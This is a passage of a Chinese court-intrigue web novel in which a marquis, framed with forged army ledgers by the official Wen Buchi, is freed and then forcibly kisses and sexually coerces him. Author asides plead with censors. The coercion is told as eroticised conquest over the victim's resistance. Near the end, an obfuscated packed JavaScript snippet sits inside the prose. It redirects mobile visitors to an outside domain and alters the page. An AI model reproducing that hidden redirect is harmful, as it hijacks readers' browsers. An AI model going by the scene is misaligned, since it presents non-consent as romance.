温不迟仿佛被这话崩了牙,倏然转头怒目看他,“你说什么?” “我说,让温大人说点好听的,”南无歇在他颈侧轻轻摸了摸,“说句软话,或许我就放开你了。” 温不迟猛地偏过头,避开他的触碰,“下官自幼不会求人。” 他温不迟这辈子可从未求过谁,哪怕是曾经在温府时也从未为了任何低三下四,更何况是以此刻这种屈辱的方式对他南无歇。 “啧,嘴这么硬。”南无歇低笑,指尖转而推着他的下巴,强迫他转过头来,“够野的,李昇竟是好这口?” 温不迟的身体猛地一颤,像是被这句话刺中了痛处,脸色瞬间变得精彩。 南无歇却变本加厉,凑近他的耳边,继续撩拨道:“不过也巧了,本侯也好这口。” “也不是那么巧,”温不迟强忍怒气,字字清晰,“下官不好侯爷这口。” “那又如何?”南无歇笑得更欢了,“你又挣脱不了我。” 这句话像根针,狠狠扎进温不迟的心里,他侧目看着近在咫尺的脸,看着那双带着戏谑与侵略性的眼睛,他只觉得一股怒火直冲头顶,却偏偏动弹不得,只能任由对方轻薄。 南无歇看着他气得微微发红的脸,终于觉得闹够了,他松开手,后退半步,顺手想替温不迟系好衣襟的盘扣。 温不迟却不给机会继续肢体接触,几乎是立刻后退,拉开距离,抬手整理着凌乱的衣服,胸口还在剧烈起伏。 南无歇看着他这副狼狈却依旧挺直脊背的样子觉得有趣,他忽然开口,语气带着些肆意,“这月十五,我会要了你。” 温不迟猛地抬头看他。 “在这之前,”南无歇的目光扫过他紧握的双拳,唇角勾起那抹笑,“你可以逃,可以动手杀我,也可以煽动旁人围攻我、牵制我,总之,想尽一切办法,别让我得手。” 他顿了顿,补充道:“当然,若是你没本事阻止我……” 后面的话他没说,只是勾了勾嘴角,递过去一个诱骜的眼神,那眼神仿佛此事胜负已分。 不得不承认,南无歇甚是喜欢这种猫鼠游戏,喜欢这种角逐争抢的刺激快感。 随后,他转身就走,只留下阵带着酒气的风。 雅间里只剩下温不迟一人,他扶着墙壁,胸口的起伏许久才平复下来。 这月十五…… 温不迟攥紧了拳,眼底闪过一丝恨意。 南无歇,你最好求神拜佛别落在我手里。 *** 崔始颉歪在茶楼雅间的藤椅里,像个泄了气的皮球一样,隔一会儿便叹一声。 嵇舟端坐在他对面,从容斟了两杯茶,热气蒸腾,氤氲了他沉静的眉眼。 “阿舟,嵇老尚书为什么要害我呀?”崔始颉又叹,“你我二人是好友,难道他跟我爹关系不好?” 他抬眼看向对面的人,那人正含笑看着他,“害得我被爹罚跪,连出门的时辰都限死了,天没黑就得回府。” 他努努嘴,“都怪你爹。” 嵇舟笑笑,微微一点头,看起来确实没有半分恶意,“今日约你出来,正是要解释此事。尧吉,这其中实有误会,家父并非有意牵累你,此事确是我们的不是,家父心中愧疚,特地要我前来致歉。” 嵇家认下了这桩子虚乌有的罪名,认得干脆,认得诚恳,反倒让人没了脾气。 不过话说回来,以崔始颉的性子,他嵇舟认与不认原也不影响二人交好,他向来觉得那些蝇营狗苟是父辈之间的事,同他们没什么相干。 “阿舟,你说他们大人怎么那么累啊,哪像咱们,吃好吃的玩好玩的,约在一起喝茶,开春一起踏青,这多自在啊。”崔始颉歪着脑袋,又叹了口气,“我们要一直这么下去才好。” 嵇舟看着孩子的模样心尖略微一动,崔尧吉太过纯善,纯善到连嵇舟都在尽力避免自己的算计污了他。 但人各有姓,各有立场,这令人不忍直视的现状终归避无可避。 “尧吉,你我皆未入仕,无论出身为何,总归是自由身,”嵇舟端起茶杯,向对方示意,“你我二人是好友,与旁的都无关。” 这话说得狡黠又周全,留足余地,此时无官无职,他们的情谊尚且干净,不染算计,可将来若踏入仕途呢?那便难说了。 可这话崔始颉自然是想不到那么深远,他扬起纯稚开朗的笑容,像是解决了天大的难题,从椅中直起身,执杯与对方轻轻一碰。 “那就好!阿舟!你心里也别存什么疙瘩,横竖都是大人们的纠葛,可不能影响你我!” 说罢,他将茶一饮而尽,袖口随意抹了抹嘴角,笑如朝阳般耀眼。 嵇舟颔首一笑,随后轻缓抬手,也喝空了杯。 *** 十三这天的风带着深秋的凉意,卷着落叶扫过南侯府的朱门。 而在此之前的初九,温不迟的书房里曾有过一场密谈。 户部尚书傅叡州坐在客座上,手指反复摩挲着茶盏的边缘,鬓角的白发在烛火下格外显眼。 “温大人,这…真要这么做?他毕竟是战功赫赫的侯爷,若是……” “傅大人怕了?”温不迟抬眼,烛光在他眼底投下明明灭灭的影,“前日江南盐道的缺,陛下已准了令侄补上,这份恩宠,傅大人不想接着?” 傅叡州的喉结动了动,内心万般挣扎,温不迟给的饵太香,那盐道是块肥肉,众人盯着、嵇家按着,若是真能把自家人填进里面,今后的油水那是不容小觑的。 “可……可他是九关统帅,”老尚书声音发紧,“私吞军饷又是死罪……” “私吞军饷确是死罪不假,但这罪名是否属实,是需要查的。”温不迟浅笑着将一叠账册推过去,“这是津元三年北境的粮草底册,上面南无歇的笔迹是仿的,左不过只是加了几笔‘私调’的记录,到时候三法司会审,查起来没那么快,等他们查明白,傅大人的侄子早已在盐道站稳脚跟。” 温不迟的话就说到这里,但傅叡州懂了,这人只是要把南无歇拖进泥潭呆上些时日,并不是真的想要借这事要了那人的命。 见老尚书犹豫不语,温不迟再喂一颗定心丸,“傅大人只需递折子,剩下的,本官来安排。” 傅叡州看着那叠账册,终是咬了咬牙,应了下来。 十三这日的南侯府葡萄架下,南无歇正用银签挑着颗冰镇的葡萄,慢悠悠地送进嘴里。 冰甜的汁水在他嘴巴里漫开,清爽的要命,院外传来脚步声时,他甚至都没抬眼皮。 “侯爷倒是有口福的,“温不迟的声音从月洞门口传来,比冬风更凉些。 南无歇这才抬眼,见他立在光影里,青衫被风拂得微动,身后跟着十几名刑部的差役。 他笑了笑,又挑了颗葡萄:“温大人也一起尝尝?” 温不迟走进来,目光扫过石桌上的果盘,随后又落在南无歇捏着银签的手上。 “陛下有旨。”他没绕弯子,声音平稳得像一潭深水,“户部尚书傅叡州奏报,津元三年北境军饷账册存疑,牵扯南侯府,需侯爷配合调查。” 南无歇含着葡萄,慢悠悠地嚼着,眼底没半点波澜:“津元三年?我想想……那年冬天,我在赤关守了四个月,帐外雪积了两尺厚,差点以为要冻毙在那儿。” 温不迟缓步上前,靴底发出笃笃的响,“陛下命三法司彻查,特命下官来请侯爷移步刑部,” 他顿了顿,目光扫过石桌上的葡萄碟,添了句:“侯爷如 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他攥了攥袖中的手,压下那点莫名的烦躁:“下官只信证据。” “证据啊……”南无歇低笑一声,忽然朝他走近半步,两人距离骤缩,“本侯甚是好奇,那证据究竟是是傅尚书自己想起来的,还是……有人递到他手里的?” 温热的呼吸拂过耳畔,带着葡萄的甜气。 温不迟侧了侧头,避开那过于亲昵的距离,声音冷了几分:“侯爷这话是什么意思?” “没什么,”南无歇退开,又恢复了那副松弛的样子,“只是觉得,傅大人早不查晚不查,偏在这月十五日之前翻旧账,倒是巧得很。” 他目光扫过温不迟身后的刑部差役,“看来,我今日是不得不走了。” 温不迟没接话,只微笑颔首,做了个“请”的手势。 南无歇却没动,忽然看向温不迟的袖口,那里绣着朵暗纹的兰草,针脚细密。 “温大人的绣工,倒是越发好了。” 温不迟的脸色微不可查地一僵,那袖口是前几日在酒肆里被他南无歇攥坏了,第二日绣娘拿去补绣的。 “侯爷还是关心自己吧。”温不迟忍下那点异样,声音沉了沉,“刑部的牢饭可比不得侯府的葡萄甜。” 南无歇笑了,朗声一笑,“也不一定吧?” 他的目光在温不迟脸上慢悠悠转了圈,从微蹙的眉峰落到紧抿的唇,“比如…温大人亲自送来的牢饭?” 温不迟攥握的拳头又紧了紧,强压下心头的怒意。 这人都要被拿办了,竟还在说这些轻薄的话。 “手令在此。”他从袖中摸出刑部的文书,“侯爷若再拖延,休怪下官不敬。” “别啊。”南无歇笑着摆手,“我跟温大人走便是。”他忽然凑近,随后竖起两根手指,轻佻地晃了晃。 两日。 十五之约。 温不迟呼吸猛地一滞,抬眼时,正对上他眼底那抹势在必得的笑,像头笃定能捕获猎物的狼。 温不迟不动声色地后退半步,抬手示意身后大批差役:“搜。” 刑部的人立刻上前,动作迅速却不敢放肆。 没一会儿,便有个差役从书房暗格里翻出个木盒,捧着过来:“大人,找到了!里面有津元三年的调拨副本!” 温不迟接过木盒,看向南无歇:“侯爷,请吧。” 南无歇没看那木盒,只笑着:“那就劳烦温大人带路了?” 经过温不迟身边时,他忽然停下,手背故意擦过他的袖口,“这绣工,可配不上温大人。” 温不迟的身体瞬间绷紧,却没回头。 直到南无歇的身影消失在院外,他才缓缓松开攥紧的手,眼底翻涌着无人看懂的情绪。 南无歇越是松弛,温不迟越是生气,他越是生气,越觉得自己无能。 而上了马车的南无歇,靠在车壁上,望着窗外掠过的街景,忽然低声道:“卫清禾,去查傅叡州的侄子,在江南盐道上最近干过什么、都见了谁。” 阴影里传来回应:“是。” 他闭上眼,靠在马车内壁,唇角勾起抹淡笑。 10. 拖拽 刑部大牢的石壁泛着经年累月的霉味,南无歇被关在最里面的单间,没有镣铐,只有一张简陋的木床和一张破桌。 他毫不在意,正斜倚在床栏上,玩着颗从袖中摸出的葡萄,优哉游哉地哼着听不出音律的小调。 此案由三法司审理,谛听台的温不迟无法直接介入,可御史台、刑部和大理寺的官员轮流“审”了南无歇一整日,从津元三年的粮草调度问到北境驻军的布防,这位侯爷要么答非所问,要么干脆闭目养神,但奈何谁也不能拿他怎么样。 十四夜,审讯厅里几人面面相觑,南无歇的视线始终在几人身上打转,很是欣赏几人愁眉苦脸左右为难的模样。 少顷,他忽然坐直身子,懒洋洋地开口:“与其在这儿耗着,不如让温大人来审我,说不定我还能多说几句呢?” 众人一愣,齐刷刷看向坐在角落的温不迟。 听到这话,温不迟也抬了眼,目光与南无歇对上,那人此刻眼底的戏谑几乎要溢出来,带着点刻意的挑衅。 他沉默片刻,看了一眼几位三法司的官员,随后缓缓点了点头。 那几人如蒙大赦,纷纷起身告退。 审讯厅的门关上,只剩下两人。 温不迟放下卷宗,站起身,走到南无歇面前,居高临下地看着他:“侯爷,想好怎么坦白了吗?” “坦白?”南无歇仰头望着他,眼睛亮晶晶的,丝毫没有眼下阶下囚的窘迫,“坦白我如何在北境杀蛮族?还是坦白……温大人今日的衣袍,比昨日更合身了些?” 他的目光慢悠悠扫过温不迟的衣襟,带着点毫不掩饰的打量:“尤其是这领口,比上次松快了些,想必是怕我再动手挑扣子?” 温不迟的声音冷了几分:“侯爷若不想谈案情,那便继续待着吧。” “待着也无妨。”南无歇从床上跳下来,站到他面前,两人距离瞬间拉近,“只是怕温大人等不及,毕竟……” 他故意拖长了语调,“还有不到两个时辰就是十五了。” 温不迟猛地后退半步,胸口微窒。 “侯爷还是关心自己能不能出去吧。”他别开视线,“私吞军饷不是小事,想要查明,侯爷至少要在牢里待上六个月。” “六个月?”南无歇像是听到了什么匪夷所思的笑话,“温大人觉得,我会让自己在这种地方待六个月?” 他忽然凑近,“不过也无妨,只是委屈温大人,得在牢里跟我兑现约定了。” 温热的呼吸带着点葡萄籽的甜气,这股温热激起一阵战栗。 温不迟攥紧了拳,心头一阵躁怒:“侯爷,您心可真大。” “也没那么大,”南无歇逗道,“在牢里跟温大人独处,也挺好。” 就在这时,审讯厅的门被敲响,狱吏匆匆走进来,脸色慌张:“温大人,三法司大人请您过去一趟!说是御史台那边……收到了新证据。” 温不迟猛地回头:“什么证据?” “说是……说是江南盐道的账册,牵扯出傅尚书的侄子伪造文书,栽赃南侯爷…”狱吏语速飞快,“几位大人说,说请您过去一同商议…” 温不迟的瞳孔骤然收缩,他看向南无歇,对方正含笑望着他,眼底的笃定像在说“去吧,去商议去吧”。 一股莫名的怒火涌上心头,随后他转身往外走,脚步都有些乱。 一个时辰后,温不迟回到审讯厅,脸色沉得像好几日没有睡觉。 御史台的证据确凿,傅叡州的侄子在江南盐道收受贿赂,还搜出了伪造账册的底稿。 桩桩件件,都指向“栽赃”二字。 三法司已决定撤案,放人。 “侯爷可以走了。”温不迟的声音听不出情绪。 南无歇伸了个懒腰,慢悠悠地整理着衣袍:“走?怎么走?我进来时是温大人亲自‘请’来的,如今要走,总不能让我自己摸回去吧?” 温不迟皱眉:“下官让人送您——” “不必。”南无歇打断他,一步步逼近,直到二人之间的距离不过半步,“还望温大人亲自送本侯回去,毕竟,平白无故被关了一天半,总得有人赔个不是。” 此时街道传来丑时的梆子声,十五日到了。 温不迟的心跳漏了一拍,下意识想拒绝:“下官还有公务——” “公务哪有那么重要?”南无歇的声音压得很低,带着点蛊惑的意味,他凑近温不迟的耳边,“若是温大人不愿送,那咱们就在这儿……?我不介意的。” 温不迟猛地侧头避开,他看着南无歇眼底那抹笑,心里恨的像是火烧火燎。 “……好,”他从牙缝里挤出来,“我送。” 马车驶出刑部衙门时,夜色沉沉。 车厢里一片寂静,只有两人浅浅的呼吸声,南无歇靠在车壁上,闭目养神,唇角却始终噙着抹淡笑,温不迟坐在对面,看着他放松的侧脸,心里像堵着团棉花,闷得发慌,对面这人就像块滚刀肉,油盐不进,软硬不吃,偏生还带着股让人牙痒的松弛。 摇晃了片刻,马车停在了南侯府门口,南无歇这才睁开眼,笑看着说:“温大人,进去喝杯茶?” 温不迟立刻起身:“不必了。” 他推开车门,几乎是逃也似的要下去,手刚触到马车帘,手腕就被一股力道攥住。 “急什么?”南无歇的声音里裹着笑意,带着点慵懒,“本侯好客,温大人既来了,总得进去坐坐再走。” “侯爷刚获自由,还是早些歇息为好。” 温不迟想抽回手,却被攥得更紧。 “歇息前,总得洗个澡吧?”南无歇的指腹故意在他腕间摩挲着,“牢里那潮气,沾了一身,难受得紧。” 他忽然俯身,“你跟李昇那种关系,想必定然伺候过他沐浴,不如……也帮本侯洗洗?” 这话太过于轻浮不恭,温不迟骤然间只感觉喉咙里卡了个东西,不上不下。 “南无歇——”他低声咬牙道,屈辱的怒火已然灌入头顶,但却因着身份,只得极尽忍耐着改口道:“侯爷,你莫要太过分。” “我过分?”南无歇低笑一声,猛地拽着他往府里走,“我在牢里待了一天半,吃了两顿馊饭,如今让‘请’我入狱的温大人帮个小忙,怎么就过分了?” 他的力气极大,温不迟被拽得踉跄了几步,青衫的下摆扫过庭院的落叶,沾了些尘土。 “放开我!” “放了你,谁帮我搓背?”南无歇头也不回,径直拽着他穿过回廊,往卧房走去。 廊下的灯笼晃出暖黄的光,将两人的影子拉得很长,纠缠在一起,像场难分难解的角力。 卧房的屏风后里早已备好了热水,蒸腾的雾气裹着淡淡的檀香,驱散了牢里的霉味。 南无歇反手关上门,咔嗒一声落了锁。 “你!”温不迟又惊又怒,看着南无歇慢条斯理地解着衣袍的盘扣,衣裳滑落,露出线条流畅的肩背,带着常年习武的紧实肌理。 “还愣着?”南无歇转过身,“难道要我自己动手?” 温不迟攥紧了拳,他好久没有受过这等屈辱了,可眼下人在屋檐下,对方又抓着他栽赃的把柄,若是闹起来,难堪的只会是他自己。 “侯爷,”温不迟的声音冷得像冰,“我起初想同你联手的心可是至诚的。” 南无歇低笑一声,没再接话,径直踏入浴桶。 热水漫过腰际,他舒服地喟叹一声,抬眼看向站在不远处浑身紧绷的温不迟。 “愣着做什么?过来。” 温不迟闭了闭眼,终是咬着牙走过去,拿起旁边的布巾,动作僵硬地递过去。 “递给我干嘛?”南无歇挑眉,往旁边挪了挪,“帮我擦背。” 蒸汽模糊了视线,也模糊了两人之间的距离。 温不迟站在桶边,能闻到对方身上檀香混着水汽的味道,他攥着布巾迟疑了许久,才弯腰将布巾浸入水中。 布巾刚触到南无歇的后背,对方就打笑道:“温大人这力道,是在挠痒吗?” 温不迟的手猛地一顿,随后破罐破摔似的加重了力道,赌气似的用力想要搓疼对方。 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“放开!” “不放。”南无歇的手指摩挲着他的下颌线,从紧绷的线条摸到温润的唇,“今晚我是放不了温大人了。” 温不迟的怒意终于冲破防线,抬手就想推开他,却被他顺势抓住手腕,往水里一拽。 “哗啦”一声,温不迟半个身子栽进浴桶,冷水混着热水泼了他满脸,青衫彻底湿透,贴在皮肤上,他挣扎着想站起来,却被南无歇牢牢按在怀里。 温热的胸膛紧贴侧脸,南无歇下巴抵在温不迟的发顶,声音低沉,“这样不是挺好?一起洗,省得麻烦。” 温不迟闻言剧烈挣扎起来,却像撞上一堵铜墙铁壁,纹丝不动,他能闻到那股让他心慌的檀香,也能听到自己如擂鼓般的心跳。 “南无歇……”他的声音里带着压抑的怒意,还有一丝连自己都没察觉的慌乱,“你再不放开,我——” “你想怎样?”南无歇手指轻轻解开他湿透的衣襟,“杀了我?还是……从了我?” 空气里的水汽越来越浓,将两人的身影彻底笼罩,水声、喘息声、压抑的怒意混在一起,仿佛下一秒就要炸开,却又被无形的丝线紧紧缠绕,分不开也扯不断。 南无歇并不急于将温不迟拆吃入腹,他只抬手轻轻揉着那人的喉结,又轻又慢,带着明晃晃的撩拨与侵袭。 他极其享受挑战和摧毁着对方的底线与反抗,也极其乐于欣赏对方不愿又无法抗拒的臣服姿态,他要丝丝渗透,他要将温不迟的情绪拉到顶峰,再拽着对方的脚踝拖进自己的绝对领地。 目光从眉间缓缓滑向嘴角,一寸寸描摹着,投入地感受着,温不迟的每一次吞咽和喘息他都不想放过,他要看,他要看得清清楚楚,他要将温不迟看得一干二净。 水汽氤氲的浴桶里,两人的视线都逐渐模糊了,只有不断升高的皮肤温度和不断加快的心跳声在敲着警钟,仿佛在倒数着什么。 少顷,南无歇内心的火终是点燃了所有欲望与手段,他不再逗弄,不再刺探,他扣住温不迟的后颈,不由分说,俯身便吻了下去。 不是浅尝辄止的触碰,而是掠夺,是那种最野蛮最原始的侵占。 温不迟的瞳孔骤然收缩,浑身的血液仿佛都在这一刻冲上头顶,他猛地偏头挣扎,却被按得更紧,唇齿间全是对方身上的檀香混着水汽的味道,气都喘不上。 辗转厮磨间,南无歇的手顺着温不迟湿透的衣襟探进去,抚过皮肤,极度轻薄。 “你——”温不迟的怒意彻底爆发,积攒的隐忍在这一刻轰然崩塌。 他猛地抬肘,狠狠撞向南无歇的肋骨,同时屈膝抵向他的小腹,动作又快又狠,全然是搏命的决绝。 南无歇早有防备,侧身避开要害,却仍旧是受了他一肘,闷哼一声,吻却没松开,反而变本加厉地加深。 水花被两人的动作搅得四溅,浴桶里的水晃出大半,溅湿了地面的石砖。 11. 点染 “…你…混蛋…”温不迟终于挣脱那掠夺般的吻,声音沙哑,带着喘,唇角被蹭得泛红。 由于自幼受制于人的长期经历,他恨极了这种被压制不得翻身的感觉,“没有反抗的能力”这于他而言与羞辱无异,没有余地,没有权利,面对此刻南无歇的强取豪夺,“拒绝”二字他连开口的机会都没有。 他本能地抬手去推,试图维护自己的领地,却被对方顺势抓住手腕,往身后一拧,整个人再次被迫贴在南无歇怀里,紧紧抵着他温热的胸膛,彻底模糊了二人的界限。 南无歇却很是享受,温不迟的一切反应在他眼里简直就是盛宴,今圣的栾宠、万人之上的权臣、终年玲珑毫无破绽的温大人如今被他尽数掌控,这很难令他不兴奋。 “我这就算混蛋?”他声音低沉而蛊惑,“我还有更混蛋的。” 深陷心理满足的人很难把握分寸,面对南无歇的步步紧逼,温不迟的理智轰然土崩瓦解,他的愤怒瞬间直冲上头顶,差点冒火。紧接着,雨点般的拳头直直砸向南无歇,招招冲着要那人狗命去的。 可南无歇像块浸了水的海绵,始终笑着,任他打,任他挣扎,只靠着灵活的身法躲闪,偶尔抬手格挡,另一只手却始终挑衅似地作乱,要么捏捏他的腰,要么拽拽他的衣襟,一会揉揉他的耳垂,一会划过他的嘴唇。 温不迟气的眼前发黑,下一秒,那滚烫的吻又落了下来,这次却落在了他的颈侧,带着点啃咬的力道,留下暧昧的红痕。 “滚蛋…”温不迟又气又急,挣扎得更凶,手脚并用,水花泼溅的声音、拳脚相碰的声音,和怒骂呼吸声混在一起,像场混乱的风暴。 浴桶里的水越来越少,温不迟的衣服早已湿透,贴在身上,露出锁骨处被水汽熏得泛红的皮肤,而南无歇一用力,更显肩背肌肉膨胀壮大,仿佛可以将对方整个塞进身体里。 (肌肉膨胀!打架用力肌肉就会充血,所以会膨胀!!没别的意思!!审核大大别想歪了!!) 这场纠缠在蒸腾的水汽里碰撞、交织,水花在浴桶里炸开,温不迟借着南无歇侧身的空档,猛地翻身从桶里跃出,湿透的青衫紧贴着身体,勾勒出清瘦却挺拔的线条,他反手就抄起旁边的木盆,带着满盆冷水朝南无歇扣过去。 “哗啦”一声,南无歇被浇了个透心凉,墨发湿漉漉地垂下,却笑得更欢了。 他也跟着从桶里站起来,“温大人这脾气,倒是越来越烈了。” 他说着,伸手去抓温不迟的手腕。 温不迟侧身避开,顺势抬脚朝他胸膛踹去,动作极快。 但南无歇反应更快,他直接拽住温不迟的脚踝,往怀里一带。 这一下失了平衡,温不迟整个人彻底栽进他怀里,南无歇也就着力道往后一靠,身后的屏风被撞翻。 两人从屏风后滚了出来,跌在铺着毡毯的地面上。 温不迟被压在下面,困兽犹斗,抬手就朝南无歇的脸挥拳,却被对方伸手扣住了手腕,按在地毯上,整个人被囚于那人身躯与地毯之间的这狭小缝隙,动弹不得。 “还打?”南无歇低头,呼吸滚烫。 温不迟强忍镇定平缓呼吸,他的衣襟敞开着,潮湿的布料带着肌肤相贴的灼热,起起伏伏。 (别锁我了别锁我了,审核大人,小的给您磕一个了!) 南无歇扫过他的面庞,如此好看的一张脸,如此有韧劲的一个人,如此孤傲的一身骨血,却不属于他南无歇,而是属于那位九五至尊。 霎时间,一股莫名而来的占有欲令南无歇智昏。 喉结轻微滚动,只见他忽然俯身,在温不迟颈侧狠狠咬了一口,像是野兽在标注自己新占领的领地那样,荣耀又倦怠。 “嘶——”温不迟疼得倒抽冷气,挣扎得更凶,膝盖猛地往上抵,却被南无歇用腿死死压住。 南无歇整张脸埋进温不迟的颈窝,带着点刻意的轻吮,激起温不迟一阵又羞又怒的战栗,可被压制的身体丝毫使不上力,只能任由对方在自己身上放肆。 南无歇的手顺着他敞开的衣襟滑进去,一路向上,轻轻掼住他的下颌,强迫他与自己对视。 两人的目光在咫尺之间相撞,温不迟的眼底是燃着的怒火,而南无歇的眼底则是化不开的兴奋,混着戏谑与势在必得。 (码点字不容易,求您了,尊贵的审核大人,再删就没了呜呜呜) “还挣扎吗?”他的语气让人分不清是要还是不要,“温大人若是不挣扎了,我便——” 话音未落,温不迟忽然偏头,狠狠咬住他的手腕! 齿尖刺破皮肤的瞬间,南无歇闷哼一声,却没松开,反而再次吻了下去。 这次的吻带着血腥味,激烈又霸道,像是要将对方的气息彻底吞噬,温不迟在他怀里剧烈挣扎,却怎么也挣不脱那铁箍般的禁锢,无力的放任那掠夺般的吻落在唇上、颈间,将所有的愤怒与抗拒,都揉碎在这潮湿而灼热的纠缠里。 窗外的月光透过窗棂照进来,落在散架的屏风上,也落在纠缠的两人身上,将他们的影子映在墙上交叠着,难分难解,空气中弥漫着水汽、血腥气,还有一丝若有似无的檀香,像一场失控的野火,烧得人神智不清。 地毯上的缠斗乱七八糟,南无歇掌住温不迟的腰,将人牢牢摁在身下,“闹够了么?” 打了半天,温不迟力气耗了大半,胸膛剧烈起伏,他眼底浮起一层红,不知是怒还是别的。 南无歇见他不再言语,也不再有动作,低笑一声,拦腰将他抱起。 温不迟惊呼一声,下意识去抓对方的肩膀,随后被那人稳稳地摁在旁边的软榻上。 锦榻柔软,却抵不过身上的压迫感,南无歇撑在温不迟上方,双手按在他耳侧的榻沿,垂眸看着他。 “最后一次机会。” 温不迟喘着气,瞪着他。 “求我,说句软话,或许我还能放你一马。” “南无歇,”温不迟的声音透着股装腔作势的刚,“你可想好了,碰了我,你这条命还要不要了?” 他温不迟是皇帝的“栾宠”,这是京里人人皆知的事,动了他,无异于打李昇的脸。 南无歇却笑了,俯身凑近,“我不碰你,李昇就不想杀我了?” 温不迟一噎。 “你我都清楚,他容不下我手里的兵权,也容不下你我走近。”南无歇抬手整理了下温不迟凌乱的头发,“区别不过是,用什么罪名杀我罢了。” “侯爷果然通透,但碰了我是陛下的脸面问题,陛下最看重这个。”温不迟依旧持着那股倔强又易碎的冷傲,不肯认半分怂。 “脸面?”南无歇眼底闪过一丝嘲讽,“他李昇什么时候要过脸面?为了削权,连秋猎都能设局。” 他顿了顿,“温大人,不必跟我周旋了。” 他的手猛地攥住温不迟的衣襟往上一提,“今天,无论如何,你,我也要定了。” 话音落下的瞬间,他俯身,再次吻了下去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526719|186332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着破釜沉舟的力道,将所有的顾忌与试探,都碾碎在这灼热的纠缠里。榻上的锦被被搅得凌乱,带着水汽的潮湿与肌肤相贴的灼热交织在一起。 (祖国生日快乐!永远跟着党走!我爱我的祖国!我爱晋江!我是共产主义接班人!别锁我了求您了) 南无歇的吻从唇齿一路蔓延到颈间,留下深浅不一的红痕,像在宣示某种主权,同时,他抚过温不迟湿透的衣襟,将那些紧绷的线条一一描摹。 温不迟的挣扎渐渐弱了下去,不是认命,而是力气被一点点抽干,只剩下力竭的粗喘在灼热的呼吸里浮沉,随后他偏过头,目光落在帷帐上,那双总是冷冽的眼睛似是蒙上了一层水雾,失去了焦点。 湿漉漉的青衫被褪到了腰间,肌肤相触的瞬间,激起一阵微颤,不知道是抗拒还是什么。 (单纯的场景描写,连个主语都没有,求求了求求了,别再锁我了) 窗外的月光不知何时被乌云遮住,房间里只剩下彼此的呼吸声,粗重而滚烫,抵在南无歇胸口上的那双手缓缓上移至肩膀,推拒的力道越来越轻,渐渐只剩下指尖微微的蜷缩,最终陷入那人的发间。 这场失控的纠缠,像一场无法醒来的梦,直到天边泛起微光,一切才渐渐平息。 温不迟睁开眼时,南无歇正侧躺着看他,眼底带着慵懒的笑意,“缓过来了?” 那语气自然得仿佛他们不是仇敌,只是共度了一夜的寻常良人。 温不迟的怒意瞬间回笼,猛地翻身下床,抓过散落在地上的衣衫,胡乱地套上。 动作间,颈间的红痕、手腕的淤青都暴露出来,像在无声地控诉着昨夜的侵占。 南无歇没有拦他,只支着脑袋,饶有兴致地看着他慌乱的背影,“温大人这就要走?不多留会儿?” 温不迟没有回头,声音冷得像冰:“侯爷赐教,下官记住了。” 说完,他头也不回地冲出了房间,仿佛身后有洪水猛兽在追赶。 夜色浓得像化不开的墨,温不迟从南侯府出来时,身上的湿衣已被夜风冻干,贴在皮肤上,一片冰凉。 他没有回头,脊背挺得笔直,仿佛刚才那场失控的纠缠从未发生,可身体的酸软和颈间的灼痛都在提醒着他,刚刚经历了怎样的掠夺与屈辱。 青衫下摆扫过冰冷的石阶,他的脚步有些虚浮,却依旧维持着惯常的平静,直到远离了南侯府的大门,那紧绷的脊背才微微垮下来,眼底翻涌的情绪再也藏不住,不是暴怒,而是深不见底的困苦,混着一丝连自己都不愿承认的茫然。 他努力了这么久,步步为营,机关算尽,以为能掌控一切,却还是在南无歇面前溃不成军。那种被轻易钳制、肆意轻薄的感觉、那种束手无策的无力像根刺扎进他的心里,带着被轻视的难堪,也带着一种说不清道不明的慌乱。 回到府邸时,天已微亮。 他遣退了下人,独自坐在书房的阴影里,桌上的烛火明明灭灭,映着他苍白的脸,眼底的红血丝清晰可见。 不知坐了多久,直到窗外晨光洒满,他才缓缓开口,声音很轻,语调平淡,“戎珂。” 屋内的角落阴影里立刻传来回应,戎珂的身影无声无息地出现,躬身等候吩咐:“主人。” 温不迟的目光不知落在了何处,脸上没有任何情绪。 “去杀个人。” 戎珂没有丝毫迟疑:“主人要杀谁?” “南无歇。” “我要他的人头。” 12. 割据 御书房里的熏香燃得正缓,烟缕在晨光里浮浮沉沉。 李昇拿着江南送来的密报,目光落在“盐道”二字上,脸色瞧不出喜怒。 温不迟在案侧垂首而立,悄无声息。 “傅卿那侄子,”李昇忽然开口,声音里带着点倦意,“在江南盐运司,倒是‘能干’得很。” 温不迟垂眸:“傅老尚书上月还递了折子,说小傅大人在任上整肃盐政,已颇有成效。” “颇有成效?”李昇低哼一声,将密报往案上一丢,“用盐客的盐引换银子,多添的盐量压沉了漕船,他就是这么整肃盐政的?” 温不迟没接话,他知道李昇不是在问他,是在说给自个儿听。 傅家想借江南盐道站稳脚跟,却无奈那地界早被嵇、贺两家盘得密不透风,嵇尚书管着地方官的任免,贺家握着商股的命脉,官商勾结,漕运的船装的是盐,运回来的却是洗干净的银子,哪轮得到傅家这没根基的来分羹。 这条路不能一直握在嵇家人手里,李昇心里着急,只想赶紧把这权力从嵇家手里分出去,先前给傅叡州那样一个甜头,一来是希望扶一把这位户部尚书,盼其能够制衡住嵇家,二来也是为促进二人直接对立关系的形成,以杜绝户、吏两部任何走到一起的可能性。 但嵇家经历多年朝堂风雨,即使帝王的刀戳到了眼前也依旧不动如山,南无歇此次为脱困抓了小傅大人的把柄并全捅了出来,嵇家这才借着机会一招制敌,此等心力定力,确值得叹。 “嵇舟倒是沉得住气。”李昇又道,“傅家那小子在他眼皮子底下敛财,他竟能忍到漕船出了事才动手。” “嵇公子是怕打草惊蛇。”温不迟答得平淡,“东道漕运线连着江南十二州,牵一发而动全身。” “傅叡州也是个没用的。”李昇语气里添了点冷意,“朕给了他机会,让他在盐道上立住脚,制衡嵇、贺两家,他倒好,让他那个好侄子被南无歇抓了把柄。” 温不迟抬眼,恰好对上李昇的目光,那目光里藏着点探究,像在问他“你怎么看”。 